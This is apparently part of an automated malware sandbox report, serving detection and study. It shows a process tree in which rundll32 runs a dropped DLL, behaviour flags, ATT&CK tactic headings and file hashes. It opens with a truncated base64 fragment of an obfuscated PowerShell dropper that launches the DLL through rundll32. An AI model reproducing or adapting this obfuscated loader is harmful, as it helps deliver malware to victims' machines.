AAJABQAHgAegB4ADgAegByACkAOwAkAEcAeQB2ADkAZAAyAGUAPQAoACcAUQBzACcAKwAoACcAdwBwACcAKwAnAGIANgAnACkAKwAnAGwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFAAeAB6AHgAOAB6AHIAKQAuACIAbABFAG4AYABnAFQAaAAiACAALQBnAGUAIAA0ADUANwA5ADIAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABQAHgAegB4ADgAegByACwAMAA7ACQAVABkAGQAYwBfADMAbQA9ACgAKAAnAEQAdABiACcAKwAnAGcANgAnACkAKwAnAHcAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQB5AHcAeABvAGsAPQAoACcAUwAnACsAKAAnAGQAYwAnACsAJwB3AHEAdgBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGsAMgBlAF8AcgBpAD0AKAAoACcARwB4ACcAKwAnAF8AJwApACsAKAAnAGkAJwArACcAYwBnADQAJwApACkA
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll,0
        Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll,0
          Blocklisted process makes network request
          Loads dropped DLL
          Checks whether UAC is enabled
          PID:3956
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Persistence
                      Privilege Escalation
                        Replay Monitor
                        00:00 00:00
                        Downloads
                        • C:\Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll

                          MD5

                          2b47214db606e21fb5d58cc7c3a27242

                          SHA1

                          8b71bd0a2618d26a16a85245e7a92aef6d3da967

                          SHA256

                          b12b65a39a6261016b7473cfd08c316cee6958739e00bb746331bdfb52b4b0bb

                          SHA512

                          908057911bc6458f608700814b65be5706825314181f54ca42bd3745dd856cdee85a7b39a5d6f7c57e3203951e4c86578ad4079bfd1d5189a876c714c984c8fe

                        • \Users\Admin\Zhod1al\N7z8q39\Unrthppaf.dll

                          MD5

                          2b47214db606e21fb5d58cc7c3a27242

                          SHA1

                          8b71bd0a2618d26a16a85245e7a92aef6d3da967

                          SHA256

                          b12b65a39a6261016b7473cfd08c316cee6958739e00bb746331bdfb52b4b0bb

                          SHA512

                          908057911bc6458f608700814b65be5706825314181f54ca42bd3745dd856cdee85a7b39a5d6f7c57e3203951e4c86578ad4079bfd1d5189a876c714c984c8fe

                        • memory/412-0-0x00007FF9E2D90000-0x00007FF9E33C7000-memory.dmp

                        • memory/2544-10-0x0000000000000000-mapping.dmp

                        • memory/3424-6-0x0000000000000000-mapping.dmp

                        • memory/3424-8-0x000002130FDE0000-0x000002130FDE1000-memory.dmp

                        • memory/3424-9-0x0000021329F80000-0x0000021329F81000-memory.dmp

                        • memory/3424-7-0x00007FF9DBC00000-0x00007FF9DC5EC000-memory.dmp

                        • memory/3848-5-0x0000000000000000-mapping.dmp

                        • memory/3956-12-0x0000000000000000-mapping.dmp

                        • memory/3956-14-0x0000000002F40000-0x0000000002F7D000-memory.dmp

                        • memory/3956-15-0x0000000002F40000-0x0000000002F7D000-memory.dmp